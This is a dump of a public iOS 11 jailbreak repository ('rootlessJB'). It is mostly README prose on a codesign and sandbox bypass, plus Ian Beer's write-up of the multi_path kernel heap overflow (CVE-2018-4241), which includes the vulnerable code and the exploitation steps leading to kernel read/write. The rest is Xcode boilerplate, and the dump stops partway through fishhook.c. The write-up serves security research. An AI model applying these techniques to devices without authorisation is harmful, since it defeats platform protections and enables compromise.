├── README.md ├── empty_list.xcodeproj ├── project.pbxproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ ├── xcshareddata │ │ └── IDEWorkspaceChecks.plist │ └── xcuserdata │ │ ├── ianbeer.xcuserdatad │ │ └── UserInterfaceState.xcuserstate │ │ └── jakejames.xcuserdatad │ │ └── UserInterfaceState.xcuserstate └── xcuserdata │ ├── ianbeer.xcuserdatad │ └── xcschemes │ │ └── xcschememanagement.plist │ └── jakejames.xcuserdatad │ ├── xcdebugger │ └── Breakpoints_v2.xcbkptlist │ └── xcschemes │ └── xcschememanagement.plist ├── empty_list ├── AppDelegate.h ├── AppDelegate.m ├── Assets.xcassets │ └── AppIcon.appiconset │ │ └── Contents.json ├── Base.lproj │ ├── LaunchScreen.storyboard │ └── Main.storyboard ├── Info.plist ├── README ├── ViewController.h ├── ViewController.m ├── bins │ ├── test │ └── tester ├── dylibs │ ├── PreferenceLoader.dylib │ ├── amfid_payload.dylib │ ├── libprefs.dylib │ └── pspawn_payload.dylib ├── fishhook │ ├── fishhook.c │ └── fishhook.h ├── iosbinpack.tar ├── jailbreakd │ ├── Ent.plist │ ├── Makefile │ ├── kern_utils.h │ ├── kern_utils.m │ ├── kexecute.c │ ├── kexecute.h │ ├── kmem.c │ ├── kmem.h │ ├── launch.h │ ├── main.m │ ├── offsetof.c │ ├── offsetof.h │ ├── osobject.c │ ├── osobject.h │ ├── patchfinder64.c │ ├── patchfinder64.h │ ├── sandbox.c │ └── sandbox.h ├── jailbreakd_client │ ├── Ent.plist │ ├── Makefile │ └── jailbreakd_client.m ├── jelbrek │ ├── IOKit.tbd │ ├── QiLin.h │ ├── amfi_utils.h │ ├── amfi_utils.m │ ├── bootstrap.h │ ├── bootstrap.m │ ├── include │ │ └── IOKit │ │ │ ├── IOKitKeys.h │ │ │ ├── IOKitLib.c │ │ │ ├── IOKitLib.h │ │ │ ├── IOReturn.h │ │ │ ├── IOTypes.h │ │ │ ├── OSMessageNotification.h │ │ │ ├── Readme.md │ │ │ └── screenshot.jpg │ ├── inject_criticald.h │ ├── inject_criticald.m │ ├── jelbrek.h │ ├── jelbrek.m │ ├── kern_utils.h │ ├── kern_utils.m │ ├── kexecute.c │ ├── kexecute.h │ ├── libjb.a │ ├── libjb.h │ ├── libjb.m │ ├── liboffsetfinder64.hpp │ ├── libs │ │ ├── libimg4tool.a │ │ ├── libmerged.a │ │ ├── liboffsetfinder64.a │ │ ├── libplist++.a │ │ └── libplist.a │ ├── offsetfinder.cpp │ ├── offsetof.c │ ├── offsetof.h │ ├── osobject.c │ ├── osobject.h │ ├── patchfinder64.h │ ├── patchfinder64.m │ ├── qilin.o │ ├── remap_tfp_set_hsp.c │ ├── remap_tfp_set_hsp.h │ ├── shell.c │ ├── shell.h │ ├── unlocknvram.c │ ├── unlocknvram.h │ ├── vnode_utils.h │ └── vnode_utils.m ├── kmem.h ├── launchctl │ ├── Ent.plist │ ├── Makefile │ └── main.m ├── main.m ├── multi_path.entitlements ├── offsets.h ├── offsets.m ├── patcher ├── pspawn_payload │ ├── Makefile │ ├── bin │ │ └── pspawn_payload.dylib │ ├── common.c │ ├── common.h │ └── pspawn_payload.m ├── sploit.c ├── sploit.h ├── tar ├── test └── tweaksupport.tar ├── patcher └── rootlessJB.ipa /README.md: -------------------------------------------------------------------------------- 1 | # THIS IS OLD. GO TO https://github.com/jakeajames/rootlessJB FOR V2. BOTH VFS AND MPTCP IN ONE PROJECT. 2 | 3 | # beautifully rootless 4 | 5 | So, as some of you know after multi_path was released I immediately started working on a dev-only jailbreak with it. Got the first things ready just a few hours later, those included root, a sandbox escape (without stealing credentials, avoiding a huge mess on the kernel) and a codesign patch. (which is done in 2 phases: 1) use QiLin's castrateAmfid function (which uses Ian Beer's technique) to set a crashy value when amfid validates a binary and then set an exception port on our app where amfid will get redirected once it crashes. There we handle the validation ourselves. However, I did not like that patch because it didn't support all binaries properly and works only when our app is running. amfidebilitate could have been used but I thought of a better method: 2) Use Electra's amfid_payload.dylib which will completely replace the validation function with our own. Differently from Electra, I didn't use the trustcache (which Apple is going to probably mitigate sometime in the future), because the provided technique didn't work due to bad patchfinfing and thus had to platformize the jailbreak app, and inject "com.apple.private.skip-library-validation" & "get-task-allow" into amfid (and of course, the opposite of "get-task-allow" into the jailbreak app. This was done with the help of QiLin as normal entitlement injection didn't work for me) 6 | 7 | Later on, I decided to see what was working from the Electra patches, and included on my project a nvram unlock, and host_get_special_port 4 to open tfp0 to any process running as root. 8 | 9 | HOWEVER, an important piece was missing, what every jailbreak had in order to be called a jailbreak: a rootfs remount... 10 | 11 | SparkZheng had released a write-up on this and I decided to implement it. Wrote the getVnodeAtPath() function (which didn't work as is on KTRR devices for some weird reason), found the required offsets and ran the bypass, but I never could get it to work properly. And SSH would just drop the connection after switching mnt_data. 12 | 13 | At that point some people would have given up but I didn't. Every time Apple adds a new mitigation people find a way around it, so who cares if there's no r/w? WE CAN DO IT. First let's think why we need r/w normally: 14 | 15 | 1. /var is sandboxed as hell 16 | 2. A lot of binaries and tweaks expect stuff to be in / 17 | 3. idk what else 18 | 19 | So, for 1) I had the solution: /var/containers/Bundle is a good place where code execution is allowed with the required entitlements and for 2) I did the obvious thing: patched paths using a hex editor. Paths were mostly /usr/lib and /Library in case of some tweaks. The next problem is that /usr/lib and /Library are reasonably shorter in length than the only possible unsandboxed path /var/containers/Bundle, so I used another workaround. Since symlinks get followed, if we symlink the unsandboxed path into a sandboxed path such as /var/LIB it'd still work. So when you see some random symlinks in /var after using this jailbreak, you know why. 20 | 21 | The first rootless patch I did was dropbear, I had been using mach_portal's netcat shell for quite a long time but obviously SSH is a way better option. I replaced /etc/dropbear with /var/dropbear and everything worked smoothly. (no need to symlink here. /var/dropbear is just data). Then to keep dropbear alive I had to support LaunchDaemons and for that I needed a working launchctl. To make launchctl work Electra added it to the trustcache, providing automatic platformization, so what I did to avoid using that was making a new launchAsPlatform function (the same as QiLin's spawnAndPlatformize but open source :D). The idea is simple: use posix_spawn to launch the binary normally but add the SUSPENDED flag so the binary gets paused immediately after spawning, giving us unlimited time to patch it. While it was paused I added the TF_PLATFORM flag on it & set the CS_PLATFORM_BINARY flag. Then I simply ran kill(pid, SIGCONT) ("continue signal") to resume execution and it worked perfectly. I got working launch daemons, without r/w. 22 | 23 | Next step was providing the user an automatically platformized launchctl so he has control over the launch daemons. To do that a jailbreakd was required, so I quickly wrote one with all the patches from the jailbreak and made a fake launchctl binary which did the same thing as launchAsPlatform() with the original launchctl. (since launchctl isn't open source). The jailbreakd used CPDistributedMessagingCenter to communicate, for ease of access, however that caused some issues with the next part, so I had to temporarily use Electra's one. (the one from beta's before beta 11, so both open-source and stable). I'm not quite good at low-level IPC so until then will continue to use this. 24 | 25 | Now, tweaks. Code injection was already achieved so the only thing left for me to do was patching paths. I grabbed the latest copies of Substitute, Tweak Injector and a tweak and successfully injected. But to keep tweaks alive after a respring we need to automatically inject. All previous jailbreaks did this using launchd. It is always pid 1, and never gets killed (kill 1 = panic), and was used to launch all apps and daemons using xpcproxy so was a perfect target for tweak persistence (NOTE: Not after reboot; but after killing the process; people thought this was an untether). So I started working on a launchd payload based on Electra's. But launchd didn't want to send messages through CPDistruibutedMessagingCenter (and saw nothing in the system logs) and CoreFoundation notifications caused a panic. As I said earlier, the only solution was using jailbreakd and the payload from Electra betas. The original jailbreakd made by me can be found on jakeajames/multi_path. After implementing the jailbreakd tweaks started working immediately without issues, except that all sandboxed apps started crashing. First I thought it was because I didn't update the jailbreakd sandbox exceptions but actually I realized sandboxed apps can't load a library from /var unless it's their OWN container. Without having a fix for now, I decided to whitelist what gets tweaked. The whitelist is as follows: 26 | 27 | - Messages 28 | - SpringBoard 29 | - Clock 30 | - Home 31 | 32 | ## Usage notes 33 | 34 | - Binaries are located in: /var/containers/Bundle/iosbinpack64 35 | - Launch daemons are located in /var/containers/Bundle/iosbinpack64/LaunchDaemons 36 | - /var/containers/Bundle/tweaksupport contains a fake filesystem where tweaks and stuff get installed 37 | - Symlinks include: /var/LIB, /var/ulb, /var/bin, /var/sbin 38 | 39 | All executables must have at least these two entitlements: 40 | 41 | 42 | 43 | 44 | platform-application 45 | 46 | com.apple.private.security.container-required 47 | 48 | 49 | 50 | 51 | 52 | - Tweaks and stuff get installed in: /var/containers/Bundle/tweaksupport the same way you did with Electra betas. 53 | - Tweaks must be patched using the patcher script provided. (Mac and Linux only) or manually 54 | - PreferenceLoader currently is broken 55 | Usage: 56 | ./patcher /path/to/deb /path/to/output_folder 57 | 58 | Credits to: Ian Beer for multi_path and mach_portal, Jonathan Levin for amfid patch, Jonathan Seals for find_kernel_base, Electra Team (especially stek29) and PsychoTea (@iBSparkes) 59 | -------------------------------------------------------------------------------- /empty_list.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /empty_list.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /empty_list.xcodeproj/project.xcworkspace/xcuserdata/ianbeer.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list.xcodeproj/project.xcworkspace/xcuserdata/ianbeer.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /empty_list.xcodeproj/project.xcworkspace/xcuserdata/jakejames.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list.xcodeproj/project.xcworkspace/xcuserdata/jakejames.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /empty_list.xcodeproj/xcuserdata/ianbeer.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | multi_path.xcscheme 8 | 9 | orderHint 10 | 0 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /empty_list.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 8 | 20 | 21 | 22 | 24 | 36 | 37 | 38 | 40 | 52 | 53 | 54 | 56 | 68 | 69 | 70 | 72 | 84 | 85 | 86 | 88 | 100 | 101 | 102 | 104 | 116 | 117 | 118 | 120 | 132 | 133 | 134 | 136 | 148 | 149 | 150 | 152 | 164 | 165 | 166 | 167 | 168 | -------------------------------------------------------------------------------- /empty_list.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcschemes/xcschememanagement.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SchemeUserState 6 | 7 | empty_list.xcscheme 8 | 9 | orderHint 10 | 0 11 | 12 | multi_path.xcscheme 13 | 14 | orderHint 15 | 0 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /empty_list/AppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.h 3 | // multi_path 4 | // 5 | // Created by Ian Beer on 5/28/18. 6 | // Copyright © 2018 Ian Beer. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface AppDelegate : UIResponder 12 | 13 | @property (strong, nonatomic) UIWindow *window; 14 | 15 | 16 | @end 17 | 18 | -------------------------------------------------------------------------------- /empty_list/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.m 3 | // multi_path 4 | // 5 | // Created by Ian Beer on 5/28/18. 6 | // Copyright © 2018 Ian Beer. All rights reserved. 7 | // 8 | 9 | #import "AppDelegate.h" 10 | 11 | @interface AppDelegate () 12 | 13 | @end 14 | 15 | @implementation AppDelegate 16 | 17 | 18 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 19 | // Override point for customization after application launch. 20 | return YES; 21 | } 22 | 23 | 24 | - (void)applicationWillResignActive:(UIApplication *)application { 25 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 26 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 27 | } 28 | 29 | 30 | - (void)applicationDidEnterBackground:(UIApplication *)application { 31 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 32 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 33 | } 34 | 35 | 36 | - (void)applicationWillEnterForeground:(UIApplication *)application { 37 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 38 | } 39 | 40 | 41 | - (void)applicationDidBecomeActive:(UIApplication *)application { 42 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 43 | } 44 | 45 | 46 | - (void)applicationWillTerminate:(UIApplication *)application { 47 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 48 | } 49 | 50 | 51 | @end 52 | -------------------------------------------------------------------------------- /empty_list/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "iphone", 5 | "size" : "20x20", 6 | "scale" : "2x" 7 | }, 8 | { 9 | "idiom" : "iphone", 10 | "size" : "20x20", 11 | "scale" : "3x" 12 | }, 13 | { 14 | "idiom" : "iphone", 15 | "size" : "29x29", 16 | "scale" : "2x" 17 | }, 18 | { 19 | "idiom" : "iphone", 20 | "size" : "29x29", 21 | "scale" : "3x" 22 | }, 23 | { 24 | "idiom" : "iphone", 25 | "size" : "40x40", 26 | "scale" : "2x" 27 | }, 28 | { 29 | "idiom" : "iphone", 30 | "size" : "40x40", 31 | "scale" : "3x" 32 | }, 33 | { 34 | "idiom" : "iphone", 35 | "size" : "60x60", 36 | "scale" : "2x" 37 | }, 38 | { 39 | "idiom" : "iphone", 40 | "size" : "60x60", 41 | "scale" : "3x" 42 | }, 43 | { 44 | "idiom" : "ipad", 45 | "size" : "20x20", 46 | "scale" : "1x" 47 | }, 48 | { 49 | "idiom" : "ipad", 50 | "size" : "20x20", 51 | "scale" : "2x" 52 | }, 53 | { 54 | "idiom" : "ipad", 55 | "size" : "29x29", 56 | "scale" : "1x" 57 | }, 58 | { 59 | "idiom" : "ipad", 60 | "size" : "29x29", 61 | "scale" : "2x" 62 | }, 63 | { 64 | "idiom" : "ipad", 65 | "size" : "40x40", 66 | "scale" : "1x" 67 | }, 68 | { 69 | "idiom" : "ipad", 70 | "size" : "40x40", 71 | "scale" : "2x" 72 | }, 73 | { 74 | "idiom" : "ipad", 75 | "size" : "76x76", 76 | "scale" : "1x" 77 | }, 78 | { 79 | "idiom" : "ipad", 80 | "size" : "76x76", 81 | "scale" : "2x" 82 | }, 83 | { 84 | "idiom" : "ipad", 85 | "size" : "83.5x83.5", 86 | "scale" : "2x" 87 | } 88 | ], 89 | "info" : { 90 | "version" : 1, 91 | "author" : "xcode" 92 | } 93 | } -------------------------------------------------------------------------------- /empty_list/Base.lproj/LaunchScreen.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /empty_list/Base.lproj/Main.storyboard: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | Exploit by Ian Beer 32 | 33 | Post exploitation is mostly from Electra, QiLin and a few things from my own 34 | 35 | Put together by @Jakeashacks :) 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 72 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /empty_list/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleDisplayName 8 | rootlessJB 9 | CFBundleExecutable 10 | $(EXECUTABLE_NAME) 11 | CFBundleIdentifier 12 | $(PRODUCT_BUNDLE_IDENTIFIER) 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | APPL 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleVersion 22 | 1 23 | LSRequiresIPhoneOS 24 | 25 | UILaunchStoryboardName 26 | LaunchScreen 27 | UIMainStoryboardFile 28 | Main 29 | UIRequiredDeviceCapabilities 30 | 31 | armv7 32 | 33 | UISupportedInterfaceOrientations 34 | 35 | UIInterfaceOrientationPortrait 36 | UIInterfaceOrientationLandscapeLeft 37 | UIInterfaceOrientationLandscapeRight 38 | 39 | UISupportedInterfaceOrientations~ipad 40 | 41 | UIInterfaceOrientationPortrait 42 | UIInterfaceOrientationPortraitUpsideDown 43 | UIInterfaceOrientationLandscapeLeft 44 | UIInterfaceOrientationLandscapeRight 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /empty_list/README: -------------------------------------------------------------------------------- 1 | multi_path - exploit for p0 issue 1558 (CVE-2018-4241) 2 | @i41nbeer 3 | 4 | mptcp_usr_connectx is the handler for the connectx syscall for the AP_MULTIPATH socket family. 5 | 6 | The logic of this function fails to correctly handle source and destination sockaddrs which aren't 7 | AF_INET or AF_INET6: 8 | 9 | //*************** 10 | // verify sa_len for AF_INET: 11 | 12 | if (dst->sa_family == AF_INET && 13 | dst->sa_len != sizeof(mpte->__mpte_dst_v4)) { 14 | mptcplog((LOG_ERR, "%s IPv4 dst len %u\n", __func__, dst->sa_len), MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR); 15 | error = EINVAL; 16 | goto out; 17 | } 18 | 19 | // verify sa_len for AF_INET6: 20 | 21 | if (dst->sa_family == AF_INET6 && 22 | dst->sa_len != sizeof(mpte->__mpte_dst_v6)) { 23 | mptcplog((LOG_ERR, "%s IPv6 dst len %u\n", __func__, dst->sa_len), MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR); 24 | error = EINVAL; 25 | goto out; 26 | } 27 | 28 | // code doesn't bail if sa_family was neither AF_INET nor AF_INET6 29 | 30 | if (!(mpte->mpte_flags & MPTE_SVCTYPE_CHECKED)) { 31 | if (mptcp_entitlement_check(mp_so) < 0) { 32 | error = EPERM; 33 | goto out; 34 | } 35 | 36 | mpte->mpte_flags |= MPTE_SVCTYPE_CHECKED; 37 | } 38 | 39 | // memcpy with sa_len up to 255: 40 | 41 | if ((mp_so->so_state & (SS_ISCONNECTED|SS_ISCONNECTING)) == 0) { 42 | memcpy(&mpte->mpte_dst, dst, dst->sa_len); 43 | } 44 | 45 | //*************** 46 | 47 | Looking around in the structure which you overflow inside you notice you can hit both fields here: 48 | 49 | if (mpte->mpte_itfinfo_size > MPTE_ITFINFO_SIZE) 50 | _FREE(mpte->mpte_itfinfo, M_TEMP); 51 | 52 | mpte_itfinfo_size is just before mpte_itfinfo. 53 | 54 | When the structure is initialized the mpte_itfinfo pointer points to a small inline array. If more subflows are added 55 | than will fit in there they are instead put in a heap buffer, and mpte_itfinfo will point to that. 56 | 57 | If you had another bug (eg the kernel heap disclosure bug from async_wake) you could overwrite the mpte_itfinfo field 58 | with any valid zone object and it would get free'd (in fact, you could also overwrite it with an offset into that object 59 | for even more fun!) 60 | 61 | However, we don't have that. 62 | 63 | Instead another approach is to partially overwrite the pointer. If we partially overwrite it with NULL bytes we can point 64 | it to a 256 byte, 65k, 16MB or 4GB aligned value. 65 | 66 | In this exploit I choose a 3 byte NULL overwrite, which will cause a kfree of the mpte_itfinfo address rounded down to the 67 | next 16MB boundary. 68 | 69 | The exploitation flow is as follows: 70 | 71 | Allocate alternatingly 16MB of ipc_kmsgs followed by a bunch of mptcp sockets. The goal here is to get a kalloc.2048 allocation 72 | at that 16MB boundary. 73 | 74 | Use the bug to free one of the ipc_kmsgs, moving that page to the intermediate list and putting the 16MB-aligned allocation on a 75 | kalloc.2048 intermediate page freelist. 76 | 77 | Allocate a bunch of filled 2047 byte pipes; the backing buffers for these pipes will come from kalloc.2048, hopefully including our 78 | 16MB-aligned address. 79 | 80 | Trigger the bug a second time, freeing the same address and this time then allocate a bunch of preallocated ipc_kmsg buffers from 81 | kalloc.2048. 82 | 83 | Now we hopefully have an ipc_kmsg (which we can get messages sent to and then receive) and a pipe buffer (which we can read and write) 84 | overlapping each other. 85 | 86 | I use the thread exception port trick from extra_recipe to get messages sent to the prealloced ipc_kmsg buffer. Each time we check each 87 | of the pipes to see if any of them contain the message. When we find the right (ipc_kmsg,pipe) pair we can rewrite the message to send ourselves 88 | a fake port which lives inside the pipe buffer. I structure that fake port like the one from async_wake (which I based on yalu 10.2 by 89 | @qwertyoruiopz and @marcograss) to give me an early kernel read primitive. 90 | 91 | Using the kernel read primitive I find the kernel task and make a fake port which allows easier kernel memory read/write via 92 | mach_vm_read/mach_vm_write. 93 | 94 | Caveat: To connect mptcp sockets you do need the com.apple.developer.networking.multipath entitlement which requires an apple developer cert, which 95 | anyone can buy from Apple. 96 | 97 | Reliability: 98 | This is a security reseach tool and is faaaar from perfect. However, it should work most of the time, and when it does work it should 99 | do a good job of cleaning up so it won't panic later. 100 | 101 | To improve the probability of it working: 102 | * turn off wifi and go in to airplane mode 103 | * reboot 104 | * wait 30 seconds after restarting 105 | * run the app from xcode 106 | 107 | Supported devices: 108 | It should work on iOS 11.0 - 11.3.1 inclusive. I have tested on: iPod Touch 6g, iPhone 6s, iPhone SE, iPhone 7, iPhone 8 109 | 110 | API: 111 | #include "sploit.h" and call go() to run the exploit. 112 | If it worked you can use the functions in kmem.h to read and write kernel memory 113 | 114 | Notes: 115 | Multiple people have publically bindiff'ed this bug from the patch (or their 0day got patched ;) read their stuff for more details: 116 | @elvanderb gave a lightning talk about the bug at rump.beer in Paris on May 31st: https://www.rump.beer/2018/slides/ios_48h.pdf 117 | @jaakerblom published a working exploit on github on June 1st: https://github.com/potmdehex/multipath_kfree 118 | John's technique is similar to mine but he does a two-byte overflow rather than a three byte one, and replaces with different objects. good stuff! 119 | -------------------------------------------------------------------------------- /empty_list/ViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.h 3 | // multi_path 4 | // 5 | // Created by Ian Beer on 5/28/18. 6 | // Copyright © 2018 Ian Beer. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface ViewController : UIViewController 12 | @property (weak, nonatomic) IBOutlet UISwitch *tweaksSwitch; 13 | 14 | @property (weak, nonatomic) IBOutlet UITextView *logs; 15 | 16 | @end 17 | 18 | -------------------------------------------------------------------------------- /empty_list/bins/test: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/bins/test -------------------------------------------------------------------------------- /empty_list/bins/tester: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/bins/tester -------------------------------------------------------------------------------- /empty_list/dylibs/PreferenceLoader.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/dylibs/PreferenceLoader.dylib -------------------------------------------------------------------------------- /empty_list/dylibs/amfid_payload.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/dylibs/amfid_payload.dylib -------------------------------------------------------------------------------- /empty_list/dylibs/libprefs.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/dylibs/libprefs.dylib -------------------------------------------------------------------------------- /empty_list/dylibs/pspawn_payload.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/dylibs/pspawn_payload.dylib -------------------------------------------------------------------------------- /empty_list/fishhook/fishhook.c: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2013, Facebook, Inc. 2 | // All rights reserved. 3 | // Redistribution and use in source and binary forms, with or without 4 | // modification, are permitted provided that the following conditions are met: 5 | // * Redistributions of source code must retain the above copyright notice, 6 | // this list of conditions and the following disclaimer. 7 | // * Redistributions in binary form must reproduce the above copyright notice, 8 | // this list of conditions and the following disclaimer in the documentation 9 | // and/or other materials provided with the distribution. 10 | // * Neither the name Facebook nor the names of its contributors may be used to 11 | // endorse or promote products derived from this software without specific 12 | // prior written permission. 13 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 14 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 15 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 16 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 17 | // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 18 | // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 19 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 20 | // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 21 | // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 22 | // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 23 | 24 | #import "fishhook.h" 25 | 26 | #import 27 | #import 28 | #import 29 | #import 30 | #import 31 | #import 32 | #import 33 | 34 | #ifdef __LP64__ 35 | typedef struct mach_header_64 mach_header_t; 36 | typedef struct segment_command_64 segment_command_t; 37 | typedef struct section_64 section_t; 38 | typedef struct nlist_64 nlist_t; 39 | #define LC_SEGMENT_ARCH_DEPENDENT LC_SEGMENT_64 40 | #else 41 | typedef struct mach_header mach_header_t; 42 | typedef struct segment_command segment_command_t; 43 | typedef struct section section_t; 44 | typedef struct nlist nlist_t; 45 | #define LC_SEGMENT_ARCH_DEPENDENT LC_SEGMENT 46 | #endif 47 | 48 | #ifndef SEG_DATA_CONST 49 | #define SEG_DATA_CONST "__DATA_CONST" 50 | #endif 51 | 52 | struct rebindings_entry { 53 | struct rebinding *rebindings; 54 | size_t rebindings_nel; 55 | struct rebindings_entry *next; 56 | }; 57 | 58 | static struct rebindings_entry *_rebindings_head; 59 | 60 | static int prepend_rebindings(struct rebindings_entry **rebindings_head, 61 | struct rebinding rebindings[], 62 | size_t nel) { 63 | struct rebindings_entry *new_entry = (struct rebindings_entry *) malloc(sizeof(struct rebindings_entry)); 64 | if (!new_entry) { 65 | return -1; 66 | } 67 | new_entry->rebindings = (struct rebinding *) malloc(sizeof(struct rebinding) * nel); 68 | if (!new_entry->rebindings) { 69 | free(new_entry); 70 | return -1; 71 | } 72 | memcpy(new_entry->rebindings, rebindings, sizeof(struct rebinding) * nel); 73 | new_entry->rebindings_nel = nel; 74 | new_entry->next = *rebindings_head; 75 | *rebindings_head = new_entry; 76 | return 0; 77 | } 78 | 79 | static void perform_rebinding_with_section(struct rebindings_entry *rebindings, 80 | section_t *section, 81 | intptr_t slide, 82 | nlist_t *symtab, 83 | char *strtab, 84 | uint32_t *indirect_symtab) { 85 | uint32_t *indirect_symbol_indices = indirect_symtab + section->reserved1; 86 | void **indirect_symbol_bindings = (void **)((uintptr_t)slide + section->addr); 87 | for (uint i = 0; i < section->size / sizeof(void *); i++) { 88 | uint32_t symtab_index = indirect_symbol_indices[i]; 89 | if (symtab_index == INDIRECT_SYMBOL_ABS || symtab_index == INDIRECT_SYMBOL_LOCAL || 90 | symtab_index == (INDIRECT_SYMBOL_LOCAL | INDIRECT_SYMBOL_ABS)) { 91 | continue; 92 | } 93 | uint32_t strtab_offset = symtab[symtab_index].n_un.n_strx; 94 | char *symbol_name = strtab + strtab_offset; 95 | if (strnlen(symbol_name, 2) < 2) { 96 | continue; 97 | } 98 | struct rebindings_entry *cur = rebindings; 99 | while (cur) { 100 | for (uint j = 0; j < cur->rebindings_nel; j++) { 101 | if (strcmp(&symbol_name[1], cur->rebindings[j].name) == 0) { 102 | if (cur->rebindings[j].replaced != NULL && 103 | indirect_symbol_bindings[i] != cur->rebindings[j].replacement) { 104 | *(cur->rebindings[j].replaced) = indirect_symbol_bindings[i]; 105 | } 106 | indirect_symbol_bindings[i] = cur->rebindings[j].replacement; 107 | goto symbol_loop; 108 | } 109 